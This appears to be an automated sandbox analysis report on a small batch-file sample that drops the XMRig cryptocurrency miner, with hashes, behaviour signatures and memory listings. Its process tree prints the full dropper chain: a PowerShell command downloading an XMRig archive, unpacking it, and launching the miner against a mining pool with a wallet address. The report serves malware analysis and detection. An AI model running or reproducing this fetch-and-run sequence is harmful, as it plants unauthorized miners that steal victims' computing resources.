Analysis

  • max time kernel
    1794s
  • max time network
    1807s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 07:36

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:408
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4284

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6fbd263a2de3f9f8f32cdb09b1269f3

    SHA1

    ff978e77f79d0852666d2b817d2cb3c7b44d2660

    SHA256

    e6040e5dda2426698b38e48f390795a59c3458d4d3c8919c26ea8fd0b26dfbe7

    SHA512

    0f094c2709055b47d649c58786abf7a715983a30554be52e2b25453368644b45fee4fc3e662eac85844d147bc79b800dcc01e3280606e962f6461d64f4286d69

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfmcptma.tmx.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    49KB

    MD5

    df9b65b14674542a074f3bb9889fa9fc

    SHA1

    30d09d4e87664b04f2fee750ceecdd52e1bd0380

    SHA256

    2fa1b1bcffee9720f546cf7db6ae168522d0be39c06873024728440cd011cb9c

    SHA512

    a9794f3222d95fa200127c3ddf246587fff659d773638f5e4d5694f5aa1f728a8e917dece68a05b0b8c1fcad1e4de60f1abc0a4f199932c6a6025cd3c9761597

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1KB

    MD5

    9e0fe9703ec964968eca46ad8bc6edb9

    SHA1

    c32d3562a06cc6f934bb56df6c6afbeb004f959a

    SHA256

    bf4f054eb873367e3585dd86ae279f5aff93e4bfdf9bf0a26b56e6788b5c15fa

    SHA512

    eb17773627e9998205a7aad24a255c3b1b84f6f776282dae68395612493e9ffa848debd66cdec59b8a9333be76d17ef570724fb3058e05b02d6612e4aceda340

  • memory/408-42-0x0000020BD6C40000-0x0000020BD6C50000-memory.dmp

    Filesize

    64KB

  • memory/408-40-0x00007FFFC54A0000-0x00007FFFC5E8C000-memory.dmp

    Filesize

    9.9MB

  • memory/408-117-0x00007FFFC54A0000-0x00007FFFC5E8C000-memory.dmp

    Filesize

    9.9MB

  • memory/408-93-0x0000020BD6C30000-0x0000020BD6C3A000-memory.dmp

    Filesize

    40KB

  • memory/408-80-0x0000020BD6D70000-0x0000020BD6D82000-memory.dmp

    Filesize

    72KB

  • memory/408-66-0x0000020BD6C40000-0x0000020BD6C50000-memory.dmp

    Filesize

    64KB

  • memory/408-41-0x0000020BD6C40000-0x0000020BD6C50000-memory.dmp

    Filesize

    64KB

  • memory/2116-29-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-20-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-18-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-8-0x00007FFFC54A0000-0x00007FFFC5E8C000-memory.dmp

    Filesize

    9.9MB

  • memory/2116-34-0x00007FFFC54A0000-0x00007FFFC5E8C000-memory.dmp

    Filesize

    9.9MB

  • memory/2116-25-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-28-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-7-0x000002242AE00000-0x000002242AE76000-memory.dmp

    Filesize

    472KB

  • memory/2116-27-0x0000022412600000-0x0000022412610000-memory.dmp

    Filesize

    64KB

  • memory/2116-26-0x00007FFFC54A0000-0x00007FFFC5E8C000-memory.dmp

    Filesize

    9.9MB

  • memory/2116-4-0x000002242AC50000-0x000002242AC72000-memory.dmp

    Filesize

    136KB

  • memory/4284-143-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-155-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-122-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-123-0x0000027E76A20000-0x0000027E76A40000-memory.dmp

    Filesize

    128KB

  • memory/4284-124-0x0000027E76A40000-0x0000027E76A60000-memory.dmp

    Filesize

    128KB

  • memory/4284-125-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-126-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-128-0x0000027E76A40000-0x0000027E76A60000-memory.dmp

    Filesize

    128KB

  • memory/4284-127-0x0000027E76A20000-0x0000027E76A40000-memory.dmp

    Filesize

    128KB

  • memory/4284-129-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-130-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-131-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-132-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-133-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-134-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-135-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-136-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-137-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-138-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-139-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-140-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-141-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-142-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-120-0x0000027E76990000-0x0000027E769B0000-memory.dmp

    Filesize

    128KB

  • memory/4284-144-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-145-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-146-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-147-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-148-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-149-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-150-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-151-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-152-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-153-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-154-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-121-0x0000027E769E0000-0x0000027E76A20000-memory.dmp

    Filesize

    256KB

  • memory/4284-156-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-157-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-158-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-159-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-160-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-161-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-162-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-163-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-164-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-165-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-166-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-167-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-168-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-169-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-170-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-171-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-172-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-173-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-174-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-175-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-176-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-177-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-178-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-179-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-180-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-181-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-182-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-183-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-184-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-185-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-186-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-187-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4284-188-0x00007FF66AFD0000-0x00007FF66BAD3000-memory.dmp

    Filesize

    11.0MB